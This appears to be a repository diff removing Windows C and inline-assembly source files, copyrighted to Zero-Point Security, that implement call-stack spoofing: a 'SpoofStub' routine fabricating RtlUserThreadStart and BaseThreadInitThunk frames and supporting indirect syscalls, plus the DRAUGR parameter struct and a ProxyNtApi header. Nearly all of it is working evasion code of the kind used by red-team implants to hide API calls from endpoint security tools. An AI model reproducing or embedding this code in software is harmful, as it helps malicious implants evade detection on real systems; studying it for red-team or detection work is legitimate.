* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
void * __attribute__((naked)) SpoofStub()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
".intel_syntax noprefix;"
|
||||
"pop rax;" // Real return address in rax
|
||||
"mov r10, rdi;" // Store OG rdi in r10
|
||||
"mov r11, rsi;" // Store OG rsi in r11
|
||||
"mov rdi, [rsp + 32];" // Storing struct in rdi
|
||||
"mov rsi, [rsp + 40];" // Storing function to call
|
||||
|
||||
// Storing our original registers
|
||||
"mov [rdi + 24], r10;" // Storing OG rdi into param
|
||||
"mov [rdi + 88], r11;" // Storing OG rsi into param
|
||||
"mov [rdi + 96], r12;" // Storing OG r12 into param
|
||||
"mov [rdi + 104], r13;" // Storing OG r13 into param
|
||||
"mov [rdi + 112], r14;" // Storing OG r14 into param
|
||||
"mov [rdi + 120], r15;" // Storing OG r15 into param
|
||||
"mov r12, rax;" // OG code used r12 for ret addr
|
||||
|
||||
// Prepping to move stack args
|
||||
"xor r11, r11;" // r11 will hold the # of args that have been pushed
|
||||
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
|
||||
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
|
||||
"add r14, 8;"
|
||||
"add r14, [rdi + 56];" // stack size of RtlUserStartThread
|
||||
"add r14, [rdi + 48];" // stack size of BaseInitThreadThunk
|
||||
"add r14, [rdi + 32];" // stack size of our gadget frame
|
||||
"sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time.
|
||||
"mov r10, rsp;"
|
||||
"add r10, 0x30;" // offset of stack arg added to rsp
|
||||
"looping:;"
|
||||
"xor r15, r15;" // r15 will hold the offset + rsp base
|
||||
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
|
||||
"je finish;"
|
||||
|
||||
// Getting location to move the stack arg to
|
||||
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
"mov r15, rsp;" // get current stack base
|
||||
"sub r15, r14;" // subtract offset
|
||||
|
||||
// Procuring the stack arg
|
||||
"add r10, 8;"
|
||||
"push qword ptr [r10];"
|
||||
"pop qword ptr [r15];"
|
||||
|
||||
// Increment the counter and loop back in case we need more args
|
||||
"add r11, 1;"
|
||||
"jmp looping;"
|
||||
"finish:;"
|
||||
"sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack
|
||||
"push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart
|
||||
"sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame
|
||||
"mov r11, [rdi + 64];"
|
||||
"mov [rsp], r11;"
|
||||
"sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame
|
||||
"mov r11, [rdi + 40];"
|
||||
"mov [rsp], r11;"
|
||||
"sub rsp, [rdi + 48];" // Gadget frame
|
||||
"mov r11, [rdi + 80];"
|
||||
"mov [rsp], r11;"
|
||||
// Adjusting the param struct for the fixup
|
||||
"mov r11, rsi;" // Copying function to call into r11
|
||||
"mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member
|
||||
"mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member
|
||||
"lea rbx, [rip + fixup];" // Fixup address is moved into rbx
|
||||
"mov [rdi], rbx;" // Fixup member now holds the address of Fixup
|
||||
"mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx
|
||||
|
||||
// For indirect syscall use. If you want to use it, make sure to set ssn
|
||||
// in param struct first.Otherwise, this is ignored by the callee.
|
||||
"mov r10, rcx;"
|
||||
"mov rax, [rdi + 72];"
|
||||
"jmp r11;"
|
||||
"fixup:;"
|
||||
"mov rcx, rbx;"
|
||||
"add rsp, 0x200;" // Remove our large frame
|
||||
"add rsp, [rbx + 48];" // Adjust back for our gadget frame
|
||||
"add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame
|
||||
"add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame
|
||||
"mov rbx, [rcx + 16];" // Restoring OG RBX
|
||||
"mov rdi, [rcx + 24];" // Restoring OG rdi
|
||||
"mov rsi, [rcx + 88];" // Restoring OG rsi
|
||||
"mov r12, [rcx + 96];" // Restoring OG r12
|
||||
"mov r13, [rcx + 104];" // Restoring OG r13
|
||||
"mov r14, [rcx + 112];" // Restoring OG r14
|
||||
"mov r15, [rcx + 120];" // Restoring OG r15
|
||||
"push rax;"
|
||||
"xor rax, rax;"
|
||||
"pop rax;"
|
||||
"jmp qword ptr [rcx + 8];"
|
||||
|
||||
".att_syntax prefix"
|
||||
);
|
||||
}
|
||||
@@ -1,50 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct _DRAUGR_PARAMETERS {
|
||||
PVOID Fixup; // 0
|
||||
PVOID OriginalReturnAddress; // 8
|
||||
PVOID Rbx; // 16
|
||||
PVOID Rdi; // 24
|
||||
PVOID BaseThreadInitThunkStackSize; // 32
|
||||
PVOID BaseThreadInitThunkReturnAddress; // 40
|
||||
PVOID TrampolineStackSize; // 48
|
||||
PVOID RtlUserThreadStartStackSize; // 56
|
||||
PVOID RtlUserThreadStartReturnAddress; // 64
|
||||
PVOID Ssn; // 72
|
||||
PVOID Trampoline; // 80
|
||||
PVOID Rsi; // 88
|
||||
PVOID R12; // 96
|
||||
PVOID R13; // 104
|
||||
PVOID R14; // 112
|
||||
PVOID R15; // 120
|
||||
} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS;
|
||||
|
||||
typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
@@ -1,41 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
ULONG_PTR functionPtr;
|
||||
ULONG_PTR argument1;
|
||||
ULONG_PTR argument2;
|
||||
ULONG_PTR argument3;
|
||||
ULONG_PTR argument4;
|
||||
ULONG_PTR argument5;
|
||||
ULONG_PTR argument6;
|
||||
} NTARGS;
|
||||
|
||||
VOID ProxyNtApi(NTARGS * args);
|
||||
Reference in New Issue
Block a user